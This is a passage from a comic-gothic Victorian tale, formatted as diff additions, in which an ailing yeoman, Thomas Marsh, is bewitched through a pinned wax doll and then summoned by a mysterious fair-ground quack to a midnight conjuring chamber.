+"Alack! ill at ease, worthy sir,--ill at ease," returned the hind; "his
+honour is up and stirring; but he hath rested none, and complaineth
+that the same gnawing pain devoureth, as it were, his very vitals: in
+sooth he is ill at ease."
+
+"Morrow, doctor!" interrupted a voice from a casement opening on the
+lawn. "Good morrow! I have looked for, longed for, thy coming this hour
+and more; enter at once; the pasty and tankard are impatient for thine
+attack!"
+
+"Marry, Heaven forbid that I should baulk their fancy!" quoth the
+leech _sotto voce_, as, abandoning the bridle to honest Hodge, he
+dismounted, and followed a buxom-looking handmaiden into the breakfast
+parlour.
+
+There, at the head of his well-furnished board, sat Master Thomas
+Marsh, of Marshton-Hall, a Yeoman well respected in his degree; one of
+that sturdy and sterling class which, taking rank immediately below
+the Esquire, (a title in its origin purely military,) occupied, in the
+wealthier counties, the position in society now filled by the Country
+Gentleman. He was one of those of whom the proverb ran:
+
+    "A Knight of Cales,
+    A Gentleman of Wales,
+      And a Laird of the North Countree;
+    A Yeoman of Kent,
+    With his yearly rent,
+      Will buy them out all three!"
+
+A cold sirloin, big enough to frighten a Frenchman, filled the place of
+honour, counter-checked by a game-pie of no stinted dimensions; while
+a silver flagon o£ "humming-bub," _viz._ ale strong enough to blow a
+man's beaver off, smiled opposite in treacherous amenity. The sideboard
+groaned beneath sundry massive cups and waiters of the purest silver;
+while the huge skull of a fallow-deer, with its branching horns,
+frowned majestically above. All spoke of affluence, of comfort,--all
+save the master, whose restless eye and feverish look hinted but too
+plainly the severest mental or bodily disorder. By the side of the
+proprietor of the mansion sat his consort, a lady now past the bloom of
+youth, yet still retaining many of its charms. The clear olive of her
+complexion, and "the darkness of her Andalusian eye," at once betrayed
+her foreign origin; in fact, her "lord and master," as husbands were
+even then, by a legal fiction, denominated, had taken her to his bosom
+in a foreign country. The cadet of his family, Master Thomas Marsh, had
+early in life been engaged in commerce. In the pursuit of his vocation
+he had visited Antwerp, Hamburg, and most of the Hanse Towns; and had
+already formed a tender connexion with the orphan offspring of one
+of old Alva's officers, when the unexpected deaths of one immediate
+and two presumptive heirs placed him next in succession to the family
+acres. He married, and brought home his bride; who, by the decease
+of the venerable possessor, heart-broken at the loss of his elder
+children, became eventually lady of Marshton-Hall. It has been said
+that she was beautiful, yet was her beauty of a character that operates
+on the fancy more than the affections; she was one to be admired rather
+than loved. The proud curl of her lip, the firmness of her tread,
+her arched brow, and stately carriage, showed the decision, not to
+say haughtiness of her soul; while her glances, whether lightening
+with anger, or melting in extreme softness, betrayed the existence of
+passions as intense in kind as opposite in quality. She rose as Erasmus
+entered the parlour, and, bestowing on him a look fraught with meaning,
+quitted the room, leaving him in unconstrained communication with his
+patient.
+
+"'Fore George, Master Buckthorne!" exclaimed the latter, as the leech
+drew near, "I will no more of your pharmacy;--burn, burn--gnaw,
+gnaw,--I had as lief the foul fiend were in my gizzard as one of your
+drugs. Tell me, in the devil's name, what is the matter with me!"
+
+Thus conjured, the practitioner paused, and even turned somewhat
+pale. There was a perceptible faltering in his voice as, evading the
+question, he asked, "What say your other physicians?"
+
+"Doctor Phiz says it is wind,--Doctor Fuz says it is water,--and Doctor
+Buz says it is something between wind and water."
+
+"They are all of them wrong," said Erasmus Buckthorne.
+
+"Truly, I think so," returned the patient. "They are manifest asses;
+but you, good leech, you are a horse of another colour. The world talks
+loudly of your learning, your skill, and cunning in arts the most
+abstruse; nay, sooth to say, some look coldly on you therefore, and
+stickle not to aver that you are cater-cousin with Beelzebub himself."
+
+"It is ever the fate of science," murmured the professor, "to be
+maligned by the ignorant and superstitious. But a truce with such
+folly; let me examine your palate."
+
+Master Marsh thrust out a tongue long, clear, and red as beet-root.
+"There is nothing wrong there," said the leech. "Your wrist:--no; the
+pulse is firm and regular, the skin cool and temperate. Sir, there is
+nothing the matter with you!"
+
+"Nothing the matter with me, Sir Potecary?" But I tell you there is
+the matter with me,--much the matter with me. Why is it that something
+seems ever gnawing at my heart-strings? Whence this pain in the region
+of the liver? Why is it that I sleep not o' nights, rest not o' days?
+Why----"
+
+"You are fidgety, Master Marsh," said the doctor.
+
+Master Marsh's brow grew dark; he half rose from his seat, supported
+himself by both hands on the arms of his elbow-chair, and in accents of
+mingled anger and astonishment repeated the word "Fidgety!"
+
+"Ay, fidgety," returned the doctor calmly. "Tut, man, there is nought
+ails thee save thine own overweening fancies. Take less of food, more
+air, put aside thy flagon, call for thy horse; be boot and saddle the
+word! Why,--hast thou not youth?"----
+
+"I have," said the patient.
+
+"Wealth, and a fair domain?"
+
+"Granted," quoth Marsh cheerily.
+
+"And a fair wife?"
+
+"Yea," was the response, but in a tone something less satisfied.
+
+"Then arouse thee, man, shake off this fantasy, betake thyself to thy
+lawful occasions, use thy good hap, follow thy pleasures, and think no
+more of these fancied ailments."
+
+"But I tell you, master mine, these ailments are not fancied. I lose my
+rest, I loathe my food, my doublet sits loosely on me,--these racking
+pains. My wife, too,--when I meet her gaze, the cold sweat stands on my
+forehead, and I could almost think----" Marsh paused abruptly, mused a
+while, then added, looking steadily at his visitor, "These things are
+not right; they pass the common, Master Erasmus Buckthorne."
+
+A slight shade crossed the brow of the leech, but its passage was
+momentary; his features softened to a smile, in which pity seemed
+slightly blended with contempt. "Have done with such follies, Master
+Marsh. You are well, an you would but think so. Ride, I say, hunt,
+shoot, do anything,--disperse these melancholic humours, and become
+yourself again."
+
+"Well, I will do your bidding," said Marsh thoughtfully. "It may be so;
+and yet,--but I will do your bidding. Master Cobbe of Brenzet writes me
+that he hath a score or two of fat ewes to be sold a pennyworth; I had
+thought to have sent Ralph Looker, but I will essay to go myself. Ho,
+there!--saddle me the brown mare, and bid Ralph be ready to attend me
+on the gelding."
+
+An expression of pain contracted the features of Master Marsh as he
+rose and slowly quitted the apartment to prepare for his journey; while
+the leech, having bidden him farewell, vanished through an opposite
+door, and betook himself to the private boudoir of the fair mistress of
+Marshton, muttering as he went a quotation from a then newly-published
+play,
+
+              "Not poppy, nor mandragora,
+    Nor all the drowsy syrups of the world,
+    Shall ever medicine thee to that sweet sleep
+    Which thou own'st yesterday."
+
+       *       *       *       *       *
+
+Of what passed at this interview between the Folkestone doctor and
+the fair Spaniard, Mrs. Botherby declares she could never obtain
+any satisfactory elucidation. Not that tradition is silent on the
+subject,--quite the contrary; it is the abundance, not paucity, of the
+materials she supplies, and the consequent embarrassment of selection,
+that make the difficulty. Some have averred that the leech, whose
+character, as has been before hinted, was more than thread-bare,
+employed his time in teaching her the mode of administering certain
+noxious compounds, the unconscious partaker whereof would pine and die
+so slowly and gradually as to defy suspicion. Others there were who
+affirmed that Lucifer himself was then and there raised _in propriâ
+personâ_, with all his terrible attributes of horn and hoof. In
+support of this assertion, they adduce the testimony of the aforesaid
+buxom housemaid, who protested that the Hall smelt that evening
+like a manufactory of matches. All, however, seem to agree that the
+confabulation, whether human or infernal, was conducted with profound
+secrecy, and protracted to a considerable length; that its object, as
+far as could be divined, meant anything but good to the head of the
+family; that the lady, moreover, was heartily tired of her husband;
+and that, in the event of his removal by disease or casualty, Master
+Erasmus Buckthorne, albeit a great philosophist, would have had no
+violent objection to throw physic to the dogs, and exchange his
+laboratory for the estate of Marshton, its live stock included. Some,
+too, have inferred that to him did Madam Isabel seriously incline;
+while others have thought, induced perhaps by subsequent events, that
+she was merely using him for her purposes; that one José, a tall,
+bright-eyed, hook-nosed stripling from her native land, was a personage
+not unlikely to put a spoke in the doctor's wheel; and that, should
+such a chance arise, the Sage, wise as he was, would, after all, run no
+slight risk of being "bamboozled."
+
+Master José was a youth well-favoured and comely to look upon. His
+office was that of page to the dame; an office which, after long
+remaining in abeyance, has been of late years revived, as may well be
+seen in the persons of sundry smart hobbledehoys, now constantly to be
+met with on staircases and in boudoirs, clad, for the most part, in
+garments fitted tightly to the shape, the lower moiety adorned with a
+broad strip of crimson or silver lace, and the upper with what the
+first Wit of our times describes as "a favourable eruption of buttons."
+The precise duties of this employment have never, as far as we have
+heard, been accurately defined. The perfuming a handkerchief, the
+combing a lap-dog, and the occasional presentation of a sippet-shaped
+_billet doux_, are, and always have been, among them; but these a young
+gentleman standing five foot ten, and aged nineteen "last grass," might
+well be supposed to have outgrown. José, however, kept his place,
+perhaps because he was not fit for any other. To the conference between
+his mistress and the physician he had not been admitted; his post
+was to keep watch and ward in the ante-room; and, when the interview
+was concluded, he attended the lady and her visitor as far as the
+court-yard, where he held, with all due respect, the stirrup for the
+latter, as he once more resumed his position on the back of Punch.
+
+Who is it that says "little pitchers have large ears?" Some deep
+metaphysician of the potteries, who might have added that they have
+also quick eyes, and sometimes silent tongues. There was a little
+metaphorical piece of crockery of this class, who, screened by a huge
+elbow-chair, had sat a quiet and unobserved spectator of the whole
+proceedings between her mamma and Master Erasmus Buckthorne. This
+was Miss Marian Marsh, a rosy-cheeked, laughter-loving imp of some
+six years old; but one who could be mute as a mouse when the fit was
+on her. A handsome and highly-polished cabinet of the darkest ebony
+occupied a recess at one end of the apartment; this had long been a
+great subject of speculation to little Miss. Her curiosity, however,
+had always been repelled; nor had all her coaxing ever won her an
+inspection of the thousand and one pretty things which its recesses no
+doubt contained. On this occasion it was unlocked, and Marian was about
+to rush forward in eager anticipation of a peep at its interior, when,
+child as she was, the reflection struck her that she would stand a
+better chance of carrying her point by remaining _perdue_. Fortune for
+once favoured her: she crouched closer than before, and saw her mother
+take something from one of the drawers, which she handed over to the
+leech. Strange mutterings followed, and words whose sound was foreign
+to her youthful ears. Had she been older, their import, perhaps, might
+have been equally unknown.--After a while there was a pause; and then
+the lady, as in answer to a requisition from the gentleman, placed in
+his hand a something which she took from her toilette. The transaction,
+whatever its nature, seemed now to be complete, and the article was
+carefully replaced in the drawer from which it had been taken. A
+long and apparently interesting conversation then took place between
+the parties, carried on in a low tone. At its termination, Mistress
+Marsh and Master Erasmus Buckthorne quitted the boudoir together. But
+the cabinet!--ay, that was left unfastened; the folding-doors still
+remained invitingly expanded, the bunch of keys dangling from the
+lock. In an instant the spoiled child was in a chair; the drawer so
+recently closed yielded at once to her hand, and her hurried researches
+were rewarded by the prettiest little waxen doll imaginable. It was a
+first-rate prize, and Miss lost no time in appropriating it to herself.
+Long before Madam Marsh had returned to her _Sanctum_, Marian was
+seated under a laurestinus in the garden, nursing her new baby with the
+most affectionate solicitude.
+
+       *       *       *       *       *
+
+"Susan, look here; see what a nasty scratch I have got upon my hand,"
+said the young lady, when routed out at length from her hiding-place to
+her noontide meal.
+
+"Yes, Miss, this is always the way with you! mend, mend, mend,--nothing
+but mend! Scrambling about among the bushes, and tearing your clothes
+to rags. What with you, and with madam's farthingales and kirtles, a
+poor bower-maiden has a fine time of it!"
+
+"But I have not torn my clothes, Susan, and it was not the bushes; it
+was the doll: only see what a great ugly pin I have pulled out of it!
+and look, here is another!" As she spoke, Marian drew forth one of
+those extended pieces of black pointed wire, with which, in the days
+of toupees and pompoons, our foremothers were wont to secure their
+fly-caps and head-gear from the impertinent assaults of Zephyrus and
+the "Little Breezes."
+
+"And pray, Miss, where did you get this pretty doll, as you call
+it?" asked Susan, turning over the puppet, and viewing it with a
+scrutinizing eye.
+
+"Mamma gave it me," said the child.--This was a fib!
+
+"Indeed!" quoth the girl thoughtfully; and then, in half soliloquy,
+and a lower key, "Well! I wish I may die if it doesn't look like my
+master!--But come to your dinner, miss. Hark! the _bell is striking
+One_!"
+
+Meanwhile, Master Thomas Marsh, and his man Ralph, were threading the
+devious paths, then, as now, most pseudonymously dignified with the
+name of roads, that wound between Marshton-Hall and the frontier of
+Romney Marsh. Their progress was comparatively slow; for, though the
+brown mare was as good a roadster as man might back, and the gelding
+no mean nag of his hands, yet the tracks, rarely traversed save by the
+rude wains of the day, miry in the "bottoms," and covered with loose
+and rolling stones on the higher grounds, rendered barely passable the
+perpetual alternation of hill and valley.
+
+The master rode on in pain, and the man in listlessness; although
+the intercourse between two individuals so situated was much less
+restrained in those days than might suit the refinement of a later age,
+little passed approximating to conversation beyond an occasional and
+half-stifled groan from the one, or a vacant whistle from the other.
+An hour's riding had brought them among the woods of Acryse; and they
+were about to descend one of those green and leafy lanes, rendered by
+matted and over-arching branches alike impervious to shower or sunbeam,
+when a sudden and violent spasm seized on Master Marsh, and nearly
+caused him to fall from his horse. With some difficulty he succeeded
+in dismounting, and seating himself by the road side. Here he remained
+for a full half-hour in great apparent agony; the cold sweat rolled
+in large round drops adown his clammy forehead, a universal shivering
+palsied every limb, his eye-balls appeared to be starting from their
+sockets, and to his attached, though dull and heavy serving-man, he
+seemed as one struggling in the pangs of impending dissolution. His
+groans rose thick and frequent; and the alarmed Ralph was hesitating
+between his disinclination to leave him, and his desire to procure such
+assistance as one of the few cottages, rarely sprinkled in that wild
+country, might afford, when, after a long-drawn sigh, his master's
+features as suddenly relaxed: he declared himself better, the pang had
+passed away, and, to use his own expression, he "felt as if a knife had
+been drawn from out his very heart." With Ralph's assistance, after a
+while, he again reached his saddle; and, though still ill at ease from
+a deep-seated and gnawing pain, which ceased not, as he averred, to
+torment him, the violence of the paroxysm was spent, and it returned no
+more.
+
+Master and man pursued their way with increased speed, as, emerging
+from the wooded defiles, they at length neared the coast; then, leaving
+the romantic castle of Saltwood, with its neighbouring town of Hithe, a
+little on their left, they proceeded along the ancient paved causeway,
+and, crossing the old Roman road, or Watling, plunged again into the
+woods that stretched between Lympne and Ostenhanger.
+
+The sun rode high in the heavens, and its meridian blaze was powerfully
+felt by man and horse, when, again quitting their leafy covert, the
+travellers debouched on the open plain of Aldington Frith, a wide tract
+of unenclosed country stretching down to the very borders of "the
+Marsh" itself. Here it was, in the neighbouring chapelry, the site
+of which may yet be traced by the curious antiquary, that Elizabeth
+Barton, the "Holy Maid of Kent," had, something less than a hundred
+years previous to the period of our narrative, commenced that series of
+supernatural pranks which eventually procured for her head an unenvied
+elevation upon London Bridge; and, though the parish had since enjoyed
+the benefit of the incumbency of Master Erasmus's illustrious and
+enlightened Namesake, yet, truth to tell, some of the old leaven was
+even yet supposed to be at work. The place had, in fact, an ill name;
+and, though Popish miracles had ceased to electrify its denizens,
+spells and charms, operating by a no less wondrous agency, were
+said to have taken their place. Warlocks, and other unholy subjects
+of Satan, were reported to make its wild recesses their favourite
+rendezvous, and that to an extent which eventually attracted the notice
+of no less a personage than the sagacious Matthew Hopkins himself,
+Witchfinder-General to the British government.
+
+A great portion of the Frith, or Fright, as the name was then, and
+is still, pronounced, had formerly been a Chace, with rights of
+Free-warren, &c. appertaining to the Archbishops of the Province.
+Since the Reformation, however, it had been disparked; and when Master
+Thomas Marsh, and his man Ralph, entered upon its confines, the open
+greensward exhibited a lively scene, sufficiently explanatory of
+certain sounds that had already reached their ears while yet within the
+sylvan screen which concealed their origin.
+
+It was Fair-day: booths, stalls, and all the rude _paraphernalia_
+of an assembly that then met as much for the purposes of traffic
+as festivity, were scattered irregularly over the turf; pedlars,
+with their packs; horse-croupers, pig-merchants, itinerant vendors
+of crockery and cutlery, wandered promiscuously among the mingled
+groups, exposing their several wares and commodities, and soliciting
+custom. On one side was the gaudy riband, making its mute appeal to
+rustic gallantry; on the other the delicious brandy-ball and alluring
+lollipop, compounded after the most approved receipt in the "True
+Gentlewoman's Garland," and "raising the waters" in the mouth of many
+an expectant urchin.
+
+Nor were rural sports wanting to those whom pleasure, rather than
+business, had drawn from their humble homes. Here was the tall and
+slippery pole, glittering in its grease, and crowned with the ample
+cheese, that mocked the hopes of the discomfited climber. There the
+fugitive pippin, swimming in water not of the purest, and bobbing
+from the expanded lips of the juvenile Tantalus. In this quarter the
+ear was pierced by squeaks from some beleaguered porker, whisking his
+well-soaped tail from the grasp of one already in fancy his captor. In
+that, the eye rested, with undisguised delight, upon the grimaces of
+grinning candidates for the honours of the horse-collar. All was fun,
+frolic, courtship, junketing, and jollity.
+
+Maid Marian, indeed, with her lieges, Robin Hood, Scarlet, and Little
+John, was wanting; Friar Tuck was absent; even the Hobby-horse had
+disappeared: but the agile Morrice-dancers yet were there, and jingled
+their bells merrily among stalls well stored with gingerbread, tops,
+whips, whistles, and all those noisy instruments of domestic torture in
+which scenes like these are even now so fertile.--Had I a foe whom I
+held at deadliest feud, I would entice his child to a Fair, and buy him
+a Whistle and a Penny-trumpet!
+
+In one corner of the green, a little apart from the thickest of the
+throng, stood a small square stage, nearly level with the chins of
+the spectators, whose repeated bursts of laughter seemed to intimate
+the presence of something more than usually amusing. The platform was
+divided into two unequal portions; the smaller of which, surrounded
+by curtains of a coarse canvass, veiled from the eyes of the profane
+the _penetralia_ of this moveable temple of Esculapius, for such
+it was. Within its interior, and secure from vulgar curiosity, the
+Quack-salver had hitherto kept himself ensconced; occupied, no doubt,
+in the preparation and arrangement of that wonderful _panacea_ which
+was hereafter to shed the blessings of health among the admiring
+crowd. Meanwhile his attendant Jack-pudding was busily employed on
+the _proscenium_, doing his best to attract attention by a practical
+facetiousness which took wonderfully with the spectators, interspersing
+it with the melodious notes of a huge cow's horn. The fellow's costume
+varied but little in character from that in which the late--(alas!
+that we should have to write the word!)--the late Mr. Joseph Grimaldi
+was accustomed to present himself before "a generous and enlightened
+public:" the principal difference consisted in this, that the upper
+garment was a long white tunic of a coarse linen, surmounted by
+a caricature of the ruff then fast falling into disuse, and was
+secured from the throat downwards by a single row of broad white
+metal buttons. His legs were cased in loose wide trousers of the same
+material; while his sleeves, prolonged to a most disproportionate
+extent, descended far below the fingers, and acted as flappers in the
+summersets and caracoles with which he diversified and enlivened his
+antics. Consummate impudence, not altogether unmixed with a certain sly
+humour, sparkled in his eye through the chalk and ochre with which his
+features were plentifully bedaubed; and especially displayed itself in
+a succession of jokes, the coarseness of which did not seem to detract
+from their merit in the eyes of his applauding audience.
+
+He was in the midst of a long and animated harangue explanatory of his
+master's high pretensions; he had informed his gaping auditors that the
+latter was the seventh son of a seventh son, and of course, as they
+very well knew, an Unborn Doctor; that to this happy accident of birth
+he added the advantage of most extensive travel; that in his search
+after science he had not only perambulated the whole of this world,
+but had trespassed on the boundaries of the next; that the depths of
+Ocean and the bowels of the Earth were alike familiar to him; that
+besides salves and cataplasms of sovereign virtue, by combining sundry
+mosses, gathered many thousand fathom below the surface of the sea,
+with certain unknown drugs found in an undiscovered island, and boiling
+the whole in the lava of Vesuvius, he had succeeded in producing his
+celebrated balsam of Crackapanoko, the never-failing remedy for all
+human disorders, and which, a proper trial allowed, would go near to
+reanimate the dead. "Draw near!" continued the worthy, "draw near, my
+masters! and you, my good mistresses, draw near, every one of you! Fear
+not high and haughty carriage; though greater than King or Kaiser,
+yet is the mighty Aldrovando milder than mother's milk; flint to the
+proud, to the humble he is as melting wax; he asks not your disorders,
+he sees them himself at a glance--nay, without a glance; he tells your
+ailments with his eyes shut! Draw near! draw near! the more incurable
+the better! List to the illustrious Doctor Aldrovando, first Physician
+to Prester John, Leech to the Grand Llama, and Hakim in Ordinary to
+Mustapha Muley Bey!"
+
+"Hath your master ever a charm for the toothache, an't please you?"
+asked an elderly countryman, whose swollen cheek bespoke his interest
+in the question.
+
+"A charm!--a thousand, and every one of them infallible. Toothache,
+quotha! I had hoped you had come with every bone in your body fractured
+or out of joint. A toothache!--propound a tester, master o' mine,--we
+ask not more for such trifles: do my bidding, and thy jaws, even with
+the word, shall cease to trouble thee!"
+
+The clown, fumbling a while in a deep leathern purse, at length
+produced a sixpence, which he tendered to the jester. "Now to thy
+master, and bring me the charm forthwith."
+
+"Nay, honest man; to disturb the mighty Aldrovando on such slight
+occasion were pity of my life: areed my counsel aright, and I will
+warrant thee for the nonce. Hie thee home, friend; infuse this powder
+in cold spring-water, fill thy mouth with the mixture, and sit upon thy
+fire till it boils!"
+
+"Out on thee for a pestilent knave!" cried the cozened countryman;
+but the roar of merriment around bespoke the by-standers well pleased
+with the jape put upon him. He retired, venting his spleen in audible
+murmurs; and the mountebank, finding the feelings of the mob enlisted
+on his side, waxed more impudent every instant, filling up the
+intervals between his fooleries with sundry capers and contortions, and
+discordant notes from the cow's horn.
+
+"Draw near! draw near, my masters! Here have ye a remedy for every evil
+under the sun, moral, physical, natural, and supernatural! Hath any man
+a termagant wife?--here is that will tame her presently! Hath any one a
+smoky chimney?--here is an incontinent cure!"
+
+To the first infliction no man ventured to plead guilty, though there
+were those standing by who thought their neighbours might have profited
+withal. For the last-named recipe started forth at least a dozen
+candidates. With the greatest imaginable gravity, Pierrot, having
+pocketed their groats, delivered to each a small packet curiously
+folded and closely sealed, containing, as he averred, directions
+which, if truly observed, would preclude any chimney from smoking for
+a whole year. They whose curiosity led them to dive into the mystery,
+found that a sprig of mountain ash culled by moonlight was the charm
+recommended, coupled, however, with the proviso that no fire should be
+lighted on the hearth during the interval.
+
+The frequent bursts of merriment proceeding from this quarter at length
+attracted the attention of Master Marsh, whose line of road necessarily
+brought him near this end of the fair; he drew bit in front of the
+stage just as its noisy occupant, having laid aside his formidable
+horn, was drawing still more largely on the amazement of "the public"
+by a feat of especial wonder,--he was eating fire! Curiosity mingled
+with astonishment was at its height; and feelings not unallied to alarm
+were beginning to manifest themselves among the softer sex especially,
+as they gazed on the flames that issued from the mouth of the living
+volcano. All eyes indeed were fixed upon the fire-eater with an
+intentness that left no room for observing another worthy who had now
+emerged upon the scene. This was, however, no less a personage than
+the _Deus ex machinâ_,--the illustrious Aldrovando himself. Short in
+stature and spare in form, the sage had somewhat increased the former
+by a steeple-crowned hat adorned with a cock's feather; while the thick
+shoulder padding of a quilted doublet, surmounted by a falling band,
+added a little to his personal importance in point of breadth. His
+habit was composed throughout of black serge, relieved with scarlet
+slashes in the sleeves and trunks; red was the feather in his hat,
+red were the roses in his shoes, which rejoiced, moreover, in a pair
+of red heels. The lining of a short cloak of faded velvet, that hung
+transversely over his left shoulder, was also red. Indeed, from all
+that we could ever see or hear, this agreeable alternation of red and
+black appears to be the mixture of colours most approved at the court
+of Beelzebub, and the one most generally adopted by his friends and
+favourites. His features were sharp and shrewd, and a fire sparkled in
+his keen grey eye much at variance with the wrinkles that ran their
+irregular furrows above his prominent and bushy brows. He had advanced
+slowly from behind his screen while the attention of the multitude
+was absorbed by the pyrotechnics of Mr. Merryman, and, stationing
+himself at the extreme corner of the stage, stood quietly leaning on
+a crutch-handled walking-staff of blackest ebony, his glance steadily
+fixed on the face of Marsh, from whose countenance the amusement he
+had insensibly begun to derive had not succeeded in removing all
+traces of bodily pain. For a while the latter was unobservant of the
+inquisitorial survey with which he was regarded; the eyes of the
+parties, however, at length met. The brown mare had a fine shoulder;
+she stood pretty near sixteen hands. Marsh himself, though slightly
+bowed by ill health and the "coming autumn" of life, was full six feet
+in height. His elevation giving him an unobstructed view over the
+heads of the pedestrians, he had naturally fallen into the rear of the
+assembly, which brought him close to the diminutive Doctor, with whose
+face, despite the red heels, his own was about upon a level.
+
+"And what makes Master Marsh here?--what sees he in the mummeries of a
+miserable buffoon to divert him when his life is in jeopardy?" said a
+shrill cracked voice that sounded as in his very ear. It was the Doctor
+who spoke.
+
+"Knowest thou me, friend?" said Marsh, scanning with awakened interest
+the figure of his questioner: "I call thee not to mind; and yet--stay,
+where have we met?"
+
+"It skills not to declare," was the answer; "suffice it we _have_
+met,--in other climes, perchance,--and now meet happily again,--happily
+at least for thee."
+
+"Why truly the trick of thy countenance reminds me of somewhat I have
+seen before, where or when I know not; but what wouldst thou with me?"
+
+"Nay, rather what wouldst thou here, Thomas Marsh? What wouldst thou on
+the Frith of Aldington?--is it a score or two of paltry sheep? or is it
+something _nearer to thy heart_?"
+
+Marsh started as the last words were pronounced with more than
+common significance: a pang shot through him at the moment, and the
+vinegar aspect of the _Charlatan_ seemed to relax into a smile half
+compassionate, half sardonic.
+
+"Grammercy," quoth Marsh, after a long-drawn breath, "what knowest thou
+of me, fellow, or of my concerns? What knowest thou----"
+
+"This know I, Master Thomas Marsh," said the stranger gravely, "that
+thy life is even now perilled: evil practices are against thee; but no
+matter, thou art quit for the nonce--other hands than mine have saved
+thee! Thy pains are over. Hark! _the clock strikes One!_" As he spoke,
+a single toll from the bell-tower of Bilsington came, wafted by the
+western breeze, over the thick-set and lofty oaks which intervened
+between the Frith and what had been once a priory. Dr. Aldrovando
+turned as the sound came floating on the wind, and was moving, as
+if half in anger, towards the other side of the stage, where the
+mountebank, his fires extinct, was now disgorging to the admiring crowd
+yard after yard of gaudy-coloured riband.
+
+"Stay! Nay, prithee, stay!" cried Marsh eagerly, "I was wrong; in faith
+I was. A change, and that a sudden and most marvellous, hath come over
+me; I am free; I breathe again; I feel as though a load of years had
+been removed; and--is it possible?--hast thou done this?"
+
+"Thomas Marsh!" said the doctor, pausing, and turning for the moment on
+his heel, "I have _not_; I repeat, that other and more innocent hands
+than mine have done this deed. Nevertheless, heed my counsel well! Thou
+art parlously encompassed; I, and I only, have the means of relieving
+thee. Follow thy courses; pursue thy journey; but, as thou valuest
+life, and more than life, be at the foot of yonder woody knoll what
+time the rising moon throws her first beam upon the bare and blighted
+summit that towers above its trees."
+
+He crossed abruptly to the opposite quarter of the scaffolding, and
+was in an instant deeply engaged in listening to those whom the cow's
+horn had attracted, and in prescribing for their real or fancied
+ailments. Vain were all Marsh's efforts again to attract his notice;
+it was evident that he studiously avoided him; and when, after an hour
+or more spent in useless endeavour, he saw the object of his anxiety
+seclude himself once more within his canvass screen, he rode slowly
+and thoughtfully off the field.--What should he do? Was the man a mere
+quack? an impostor? His name thus obtained!--that might be easily done.
+But then, his secret griefs; the doctor's knowledge of them; their
+cure: for he felt that his pains were gone, his healthful feelings
+restored! True; Aldrovando, if that were his name, had disclaimed all
+co-operation in his recovery: but he knew or, he announced it. Nay,
+more; he had hinted that he was yet in jeopardy; that practices--and
+the chord sounded strangely in unison with one that had before vibrated
+within him--that practices were in operation against his life! It was
+enough! He would keep tryst with the Conjuror, if conjuror he were;
+and, at least, ascertain who and what he was, and how he had become
+acquainted with his own person and secret afflictions.
+
+When the late Mr. Pitt was determined to keep out Buonaparte, and
+prevent his gaining a settlement in the county of Kent, among other
+ingenious devices adopted for that purpose, he caused to be constructed
+what was then, and has ever since been, conventionally termed a
+"Military canal." This is a not very practicable ditch, some thirty
+feet wide, and nearly nine feet deep--in the middle, extending from the
+town and port of Hithe to within a mile of the town and port of Rye, a
+distance of about twenty miles; and forming, as it were, the cord of
+a bow, the area of which constitutes that remote fifth quarter of the
+globe spoken of by travellers. Trivial objections to the plan were made
+at the time by cavillers; and an old gentleman of the neighbourhood,
+who proposed, as a cheap substitute, to put up his own cocked-hat upon
+a pole, was deservedly pooh-pooh'd down; in fact, the job, though
+rather an expensive one, was found to answer remarkably well. The
+French managed, indeed, to scramble over the Rhine, and the Rhone,
+and other insignificant currents; but they never did, or could, pass
+Mr. Pitt's "Military canal." At no great distance from the centre of
+this cord rises abruptly a sort of woody promontory, in shape almost
+conical, its sides covered with thick underwood; above which is seen a
+bare and brown summit rising like an Alp in miniature. The "defence of
+the nation" not being then in existence, Master Thomas Marsh met with
+no obstruction in reaching this place of appointment long before the
+time prescribed.
+
+So much, indeed, was his mind occupied by his adventure and
+extraordinary cure, that his original design had been abandoned, and
+Master Cobbe remained unvisited. A rude hostel in the neighbourhood
+furnished entertainment for man and horse; and here, a full hour before
+the rising of the moon, he left Ralph and the other beasts, proceeding
+to his rendezvous on foot and alone.
+
+"You are punctual, Master Marsh," squeaked the shrill voice of the
+Doctor, issuing from the thicket as the first silvery gleam trembled on
+the aspens above. "'Tis well; now follow me, and in silence."
+
+The first part of the command Marsh hesitated not to obey; the second
+was more difficult of observance.
+
+"Who and what are you? Whither are you leading me?" burst not
+unnaturally from his lips; but all question was at once cut short by
+the peremptory tones of his guide.
+
+"Hush! I say; your finger on your lip; there be hawks abroad: follow
+me, and that silently and quickly." The little man turned as he spoke,
+and led the way through a scarcely perceptible path, or track, which
+wound among the underwood. The lapse of a few minutes brought them to
+the door of a low building so hidden by the surrounding trees that
+few would have suspected its existence. It was a cottage of rather
+extraordinary dimensions, but consisting of only one floor. No smoke
+rose from its solitary chimney; no cheering ray streamed from its
+single window, which was, however, secured by a shutter of such
+thickness as to preclude the possibility of any stray beam issuing
+from within. The exact size of the building it was in that uncertain
+light difficult to distinguish, a portion of it seeming buried in the
+wood behind. The door gave way on the application of a key, and Marsh
+followed his conductor resolutely but cautiously along a narrow passage
+feebly lighted by a small taper that winked and twinkled at its farther
+extremity. The Doctor, as he approached, raised it from the ground,
+and, opening an adjoining door, ushered his guest into the room beyond.
+It was a large and oddly-furnished apartment, insufficiently lighted
+by an iron lamp that hung from the roof, and scarcely illumined the
+walls and angles, which seemed to be composed of some dark-coloured
+wood. On one side, however, Master Marsh could discover an article
+bearing strong resemblance to a coffin; on the other was a large oval
+mirror in an ebony frame, and in the midst of the floor was described
+in red chalk a double circle, about six feet in diameter, its inner
+verge inscribed with sundry hieroglyphics, agreeably relieved at
+intervals with an alternation of skulls and cross-bones. In the very
+centre was deposited one skull of such surpassing size and thickness as
+would have filled the soul of a Spurzheim or De Ville with wonderment.
+A large book, a naked sword, an hour-glass, a chafing-dish, and a
+black cat, completed the list of moveables; with the exception of a
+couple of tapers which stood on each side the mirror, and which the
+strange gentleman now proceeded to light from the one in his hand. As
+they flared up with what Marsh thought a most unnatural brilliancy,
+he perceived, reflected in the glass behind, a dial suspended over
+the coffin-like article already mentioned: the hand was fast verging
+towards the hour of nine. The eyes of the little Doctor seemed rivetted
+on the horologe.
+
+"Now strip thee, Master Marsh, and that quickly: untruss, I say!
+discard thy boots, doff doublet and hose, and place thyself
+incontinent in yonder bath." The visitor cast his eyes again upon the
+formidable-looking article, and perceived that it was nearly filled
+with water. A cold bath, at such an hour and under such auspices, was
+anything but inviting: he hesitated, and turned his eyes alternately on
+the Doctor and the Black Cat.
+
+"Trifle not the time, man, an you be wise," said the former: "Passion
+of my heart! let but yon minute-hand reach the hour, and, thou not
+immersed, thy life were not worth a pin's fee!"
+
